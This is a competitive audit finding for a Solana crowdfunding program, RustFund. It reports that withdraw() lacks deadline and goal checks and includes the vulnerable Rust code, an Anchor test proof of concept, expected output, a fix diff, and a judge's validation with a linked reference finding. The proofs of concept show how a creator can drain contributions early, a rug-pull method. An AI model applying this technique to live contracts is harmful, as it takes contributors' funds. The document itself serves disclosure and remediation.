Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

`withdraw()` has no deadline or goal check thus creator can drain funds at any time, Even before campaign succeeds.

Description:

Per the protocol documentation:

Secure Withdrawals: Creators can withdraw funds once their campaign succeeds

This establishes withdrawal as conditional on campaign success — implying, at minimum, that the fundraising goal must have been met (and typically that the deadline has been reached, mirroring the same lifecycle gating refund() is supposed to enforce in the opposite direction).

The actual withdraw implementation contains no such gating:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

There is no reference to Clock::get(), no comparison against fund.deadline, and no comparison against fund.goal anywhere in the function. The only checks performed happen earlier, during account validation in FundWithdraw (PDA re-derivation and has_one = creator) — these confirm the caller is the legitimate creator of this specific fund, but say nothing about whether the campaign has actually succeeded, or even started collecting contributions.

Root Cause:

withdraw() unconditionally sweeps fund.amount_raised to the creator with no check that:

  1. The deadline has been reached, and

  2. The fundraising goal (fund.goal) has actually been met by fund.amount_raised.
    Impact:

A fund's creator can call withdraw() immediately after any contribution lands in the fund — even a single, partial contribution far below fund.goal, and even before any deadline has been set or reached. This directly contradicts the "Creators can withdraw funds once their campaign succeeds" guarantee contributors rely on when deciding to contribute.

This is a classic rug-pull primitive: a malicious or opportunistic creator can create a fund, wait for any contributions to arrive, and immediately withdraw them — well before the campaign deadline, and without ever reaching the stated goal — leaving contributors with a failed campaign, no product/outcome, and (compounding with [H-1]) no way to recover their contribution via refund() either, since refund()'s accounting is already broken independent of this bug.

Because fund.amount_raised is also never decremented or reset after a withdrawal, a creator could in principle call withdraw() again after further contributions accumulate, repeatedly draining new deposits as they arrive, with no lifecycle restriction at any point in the fund's existence.

Proof of Concept:

Add the following to rustfund.ts:

it.only("Creator withdraws before goal is met and before deadline — violates docs", async () => {
const fundName = "withdraw-before-success-bug";
const contributeAmount = new anchor.BN(anchor.web3.LAMPORTS_PER_SOL / 10); // 0.1 SOL, far below goal
const futureDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 3600); // 1 hour out
const [fundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(fundName, description, goal) // goal = 1 SOL
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
await program.methods
.setDeadline(futureDeadline) // deadline is far in the future, not reached
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
const [contributionPDA] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), provider.wallet.publicKey.toBuffer()],
program.programId
);
await program.methods
.contribute(contributeAmount) // only 0.1 SOL of the 1 SOL goal
.accounts({
fund: fundPDA,
contributor: provider.wallet.publicKey,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const fundBefore = await program.account.fund.fetch(fundPDA);
console.log("amount_raised before withdraw:", fundBefore.amountRaised.toString());
console.log("goal:", fundBefore.goal.toString());
console.log("deadline (still in future):", fundBefore.deadline.toString());
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
// Deadline has NOT passed and goal has NOT been met — withdraw should
// revert per docs, but nothing in the code enforces this
await program.methods
.withdraw()
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
console.log("creator balance before withdraw:", creatorBalanceBefore);
console.log("creator balance after withdraw:", creatorBalanceAfter);
// Creator successfully drained contributions despite goal not being met
// and deadline not being reached
expect(creatorBalanceAfter).to.be.greaterThan(creatorBalanceBefore);
});

Expected output:

amount_raised before withdraw: 100000000
goal: 1000000000
deadline (still in future): 1783158778
creator balance before withdraw: 499999999860946370
creator balance after withdraw: 499999999960941400
✔ Creator withdraws before goal is met and before deadline — violates docs (1911ms)

The withdraw() call succeeds and the creator's balance increases by the full contributed amount, despite amount_raised (0.1 SOL) being far below goal (1 SOL) and the deadline still being an hour away — confirming withdrawal is not actually gated on campaign success.

Recommended Mitigation:

Add both a deadline check and a goal check before allowing withdrawal, mirroring (and inverse to) the intended refund() logic:

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
+ let now: u64 = Clock::get()?.unix_timestamp.try_into().unwrap();
+ if ctx.accounts.fund.deadline == 0 || ctx.accounts.fund.deadline > now {
+ return Err(ErrorCode::DeadlineNotReached.into());
+ }
+ if ctx.accounts.fund.amount_raised < ctx.accounts.fund.goal {
+ return Err(ErrorCode::GoalNotMet.into());
+ }
+
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
+ ctx.accounts.fund.amount_raised = 0;
+
Ok(())
}

A new GoalNotMet variant should be added to ErrorCode. Resetting fund.amount_raised to 0 after a successful withdrawal is also recommended to keep the fund's bookkeeping accurate and prevent any future double-withdrawal path if further contributions are (intentionally or otherwise) accepted after a withdrawal.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals

# H-01. Creators Can Withdraw Funds Without Meeting Campaign Goals **Severity:** High\ **Category:** Fund Management / Economic Security Violation ## Description The `withdraw` function in the RustFund contract allows creators to prematurely withdraw funds without verifying if the campaign goal was successfully met. ## Vulnerability Details In the current RustFund implementation (`lib.rs`), the `withdraw` instruction lacks logic to verify that the campaign's `amount_raised` is equal to or greater than the `goal`. Consequently, creators can freely withdraw user-contributed funds even when fundraising objectives haven't been met, undermining the core economic guarantees of the platform. **Vulnerable Component:** - File: `lib.rs` - Function: `withdraw` - Struct: `Fund` ## Impact - Creators can prematurely drain user-contributed funds. - Contributors permanently lose the ability to receive refunds if the creator withdraws early. - Severely damages user trust and undermines the economic integrity of the RustFund platform. ## Proof of Concept (PoC) ```js // Create fund with 5 SOL goal await program.methods .fundCreate(FUND_NAME, "Test fund", new anchor.BN(5 * LAMPORTS_PER_SOL)) .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); // Contribute only 2 SOL (below goal) await program.methods .contribute(new anchor.BN(2 * LAMPORTS_PER_SOL)) .accounts({ fund, contributor: contributor.publicKey, contribution, systemProgram: SystemProgram.programId, }) .signers([contributor]) .rpc(); // Set deadline to past await program.methods .setDeadline(new anchor.BN(Math.floor(Date.now() / 1000) - 86400)) .accounts({ fund, creator: creator.publicKey }) .signers([creator]) .rpc(); // Attempt withdrawal (should fail but succeeds) await program.methods .withdraw() .accounts({ fund, creator: creator.publicKey, systemProgram: SystemProgram.programId, }) .signers([creator]) .rpc(); /* OUTPUT: Fund goal: 5 SOL Contributed amount: 2 SOL Withdrawal succeeded despite not meeting goal Fund balance after withdrawal: 0.00089088 SOL (rent only) */ ``` ## Recommendations Add conditional logic to the `withdraw` function to ensure the campaign has reached its fundraising goal before allowing withdrawals: ```diff pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let fund = &mut ctx.accounts.fund; + require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotMet); let amount = fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` Also define the new error clearly: ```diff #[error_code] pub enum ErrorCode { // existing errors... + #[msg("Campaign goal not met")] + GoalNotMet, } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!